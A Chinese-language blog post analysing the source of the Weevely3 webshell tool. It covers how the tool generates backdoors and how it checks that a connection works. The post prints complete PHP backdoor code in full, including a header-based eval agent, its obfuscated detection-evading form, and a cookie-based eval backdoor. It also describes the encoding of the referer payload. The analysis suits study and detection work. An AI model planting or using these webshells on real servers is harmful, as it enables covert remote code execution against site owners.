Weevely使用及源码分析(三)

1 weevely验证机制分析

1.1 源码分析

   当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter()函数主要功能是随机生成一个命令,”echo”一个从11111到99999大小的随机整数,然后分别调用channels文件夹下的channel.py文件中的”send()”函数,然后在send()函数中把payload分别发送给legacycookie.py,legacyreferrer.py和stegaref.py三个Python文件中的”send()”函数同时返回Response,code,error的值, response, code, error = channel.send(command),通过对返回的Response和构造的echo的随机数是否相等来进行判断PHP shell能否直接运行,同时判断连接是否成功。

1.2 PHP(stegaref_php.tpl模板)后门文件分析

   首先,当我们使用命令:weevely generate hello /var/www/html/testformd.php来生成木马文件时,会调用generate()函数来生成木马。

  1. generate()函数在weevely3-master/core/generate.py文件中,函数原型为: def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):其中,password为用户指定的密码, obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自己定义,用户可以自己编写自定义的模板放入weevely3-master/bd/obfuscator/和weevely3-master/bd/agent/目录下,然后命令中指定自定义的模板。
  2. agent = Template(open(agent_path,'r').read()).render(password=password)render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来,生成的源码为:
 $kh="5d41";
        $kf="402a";

        function x($t,$k){
            $c=strlen($k);
            $l=strlen($t);
            $o="";
            for($i=0;$i<$l;){
                for($j=0;($j<$c&&$i<$l);$j++,$i++)
                {
                    $o.=$t{$i}^$k{$j};
                }
            }
            return $o;
        }

        $r=$_SERVER;
        $rr=@$r["HTTP_REFERER"];
        $ra=@$r["HTTP_ACCEPT_LANGUAGE"];

        if($rr&&$ra){
            $u=parse_url($rr);
            parse_str($u["query"],$q);
            $q=array_values($q);
            preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);

            if($q&&$m){
                @session_start();

                $s=&$_SESSION;
                $ss="substr";
                $sl="strtolower";

                $i=$m[1][0].$m[1][1];
                $h=$sl($ss(md5($i.$kh),0,3));
                $f=$sl($ss(md5($i.$kf),0,3));

                $p="";
                for($z=1;$z$m[1]);$z++) $p.=$q[$m[2][$z]];

                if(strpos($p,$h)===0){
                    $s[$i]="";
                    $p=$ss($p,3);
                }

                if(array_key_exists($i,$s)){

                    $s[$i].=$p;

                    $e=strpos($s[$i],$f);
                    if($e){
                        $k=$kh.$kf;
                        ob_start();
                        @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                        $o=ob_get_contents();
                        ob_end_clean();
                        $d=base64_encode(x(gzcompress($o),$k));
                        print("<$k>$d$k>");
                        @session_destroy();
                    }
                }
            }
        }
  1. minified_agent = utils.code.minify_php(agent)对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码为:
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z$m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d$k>");@session_destroy();}}}}
  1. obfuscated = obfuscator_template.render(agent=agent)这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。模糊处理完的文件源码为:
$s='d5($R$i.$$Rkh),0,3));$R$f=$sl$R($ss(m$Rd5$R($i.$kf),0,3$R));$p$R$R="";for($R$z=1;$R$z<count($R$m[1]);$z$R++)$p.=$R$q[$m[$R';
        $H='$Rses$Rsion_st$Rart();$s=&$_SES$RSION;$ss="$Rsub$Rs$Rtr";$sl="str$Rtolower$R";$i$R=$m[1$R][0]$R.$m[1][1];$R$h=$R$sl($ss($Rm';
        $u='g_replac$Re(arr$Ray$R("/_/","/$R-/"),arr$Ray$R("/","+"$R),$$Rss($s[$i],0$R,$e)$R))$R,$k)));$$Ro=ob_$Rget_$Rcontents($R);ob_';
        $V='$kh="$R5d41";$R$kf="402$Ra$R$R";function x($t,$$Rk){$c=st$Rr$Rlen($k);$l=st$Rrlen$R($t)$R;$o="";for$R($$Ri=0;$i<$$Rl;){$Rfor';
        $E=';$R$q=a$Rrray_valu$Res($q);$Rpr$Reg_match$R_all("/($R[\\w])[$R\\w-]+(?:;$Rq=0$R.([\\d$R]))?$R,?/",$ra$R,$m);if($$Rq$R&&$m)$R{@';
		$c='($j=$R0;($j<$R$c&&$R$$Ri<$R$l);$j++$R,$$Ri++){$o.=$t{$i$R}^$k{$j}$R;}}return$R $R$o$R;}$r=$_SERVER;$$Rrr=@$r[$R"HT$RTP_REFER';
        $F='R$$Re=$Rstr$Rpos($s[$i],$f);if($R$e){$k=$k$Rh$R.$kf;ob_$Rsta$Rrt()$R;@ev$Ral(@gzuncom$Rpress(@x($R@bas$Re64_$Rdecode(pr$Re';
        $P='$RER"];$$Rra=@$r["H$RTTP_AC$RCE$RPT_LA$RNGUAGE$R"];if($r$Rr&&$ra){$R$u=pars$Re$R_ur$Rl($rr);par$Rs$Re_str($$Ru["query"]$R,$q)';
		$R='end_c$Rlean$R();$d=$Rbase$R64_en$Rcode(x(gzc$Rompress$R$R($o)$R,$k));pri$Rnt($R"<$R$$Rk>$R$d$k>");@sessi$Ron_destroy();}}}}';
		$f='2][$R$z$R]];if(s$Rtrpos($p$R,$R$h)===0){$s[$i$R]="";$$Rp=$R$ss($p,3)$R;}if(arr$R$Ray_$Rkey_exists($i,$R$s$R)){$s[$i$R].=$p;$';
        $U=str_replace('iV','','creiViVaiViVte_funciVtiiVon');
        $X=str_replace('$R','',$V.$c.$P.$E.$H.$s.$f.$F.$u.$R);
        $O=$U('',$X);$O();
        ?>
  1. 通过对最具有格式且没有经过模糊处理的php文件进行源码走读,可以看出,文件中存在” kh=5d41"" k h = 5 d 41 " 和 " kf=402a”这两个参数,这两个参数就是我们生成文件时的定义的密码经过md5加密后的前8位,分在两个参数中存储。$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];从server中去取http协议请求头中的REFERER数据和ACCEPT_LANGUAGE数据,然后通过正则表达式preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m);去匹配ACCEPT_LANGUAGE中的数组偏移量。$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));来求出真正有用的payload的header和footer。
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));

这个函数是用来解密payload,得到真正攻击的载荷命令。
$d=base64_encode(x(gzcompress($o),$k));把执行结果通过相同的方式进行加密,放在自己密码加密后的标签中print("<$k>$d");

1.3 PHP(legacycookie_php.tpl模板)后门文件分析

   weevely3中默认生成的文件是以stegaref_php.tpl为模板和以obfusc1_php.tpl为混淆模板来进行后门文件生成。可以在weevely.py文件中对这两个参数进行修改换成以legacycookie_php.tpl为模板和cleartext1_php.tpl为混淆模板生成配合php文件。
直接对源代码进行跟踪调试
1. agent = Template(open(agent_path,'r').read()).render(password=password)render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来初始php代码为:

    u'$c="count";
        $a=$_COOKIE;
        if(reset($a)=="he" && $c($a)>3){
        $k="llo";
        echo "<$k>";
        eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"), array("","+"), join(array_slice($a,$c($a)-3)))));
        echo "";
        }
        '

 2. “minified_agent = utils.code.minify_php(agent)”对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码代码为:

'$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"$k>";}'

 3. “obfuscated = obfuscator_template.render(agent=agent)”这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。生成的源码为

u'
        $c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"";}
        ?>'

 4.通过对php源代码的走读可以看出legacycookie_php.tpl模板执行结果放在<$k>标签中,标签中执行结果通过正则表达式匹配,然后进行base64解码获得。

1.4 验证连接是否成功

  1. 通过_check_interpreter()函数构造随机打印字符的payload,调用channel.py文件中的send()函数中代码response = self.channel_loaded.send(
    payload,
    self._additional_handlers()
    )
    向三种payload加密方式中分别发送payload。依次执行查看响应的Response_body的值是否与构造payload想打印的值相等来进行判断连接是否成功。
  2. 第一次payload发送到stegaref.py的send()函数中,payload经过用户输入的连接密码进行加密,构造request请求头发送http协议,执行php后门文件,通过php文件中生成文件的密码进行解密执行payload,得到相应Response。response = opener.open(url).read()得到响应体的值。判断:
    1. 响应体为空,说明连接密码生成的payload和真实密码解密的payload不一致,验证失败。
    2. 响应体不为空,验证成功。
  3. 若第一次验证失败,进行第二次验证,payload会发送到legacycookie.py的send()函数中,第二种payload的加密方式主要为base64编码加密然后在加密后的payload中加入特殊字符进行混淆。所以第二种加密方式不需要php文件中的密码进行解密,payload在php文件中进行base64解压缩执行,执行结果在Response_body中用密码第三位至末尾字符串标签进行包装。通过相同代码response = opener.open(url).read()获得响应体。判断:
    1. 如果响应体为空,说明php文件没有执行,所以可能为连接url错误。
    2. 响应体不为空,通过正则表达式
self.extractor = re.compile("<%s>(.*)" % (self.password[2:],self.password[2:]),re.DOTALL)

和代码data = self.extractor.findall(response)进行匹配密码第三位至末尾和响应体中的标签是否一致,如果一致的话则连接密码正确验证成功,如果不一致说明连接密码错误验证不成功。
4. 前两次均失败则调用第三种payload加密方式,向legacyreferrer.py文件中的send()函数发送payload,第三种payload加密方式为构造referer头

referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2],urllib2.quote(self.url),self.query.strip(),payload[:third],payload[ third:thirds],payload[thirds:])

但是payload的加密方式依然为base64编码加密,所以密码正确与否的验证机制和第二种相同。

你可能感兴趣的:(Weevely,weevely,php,后门,源码)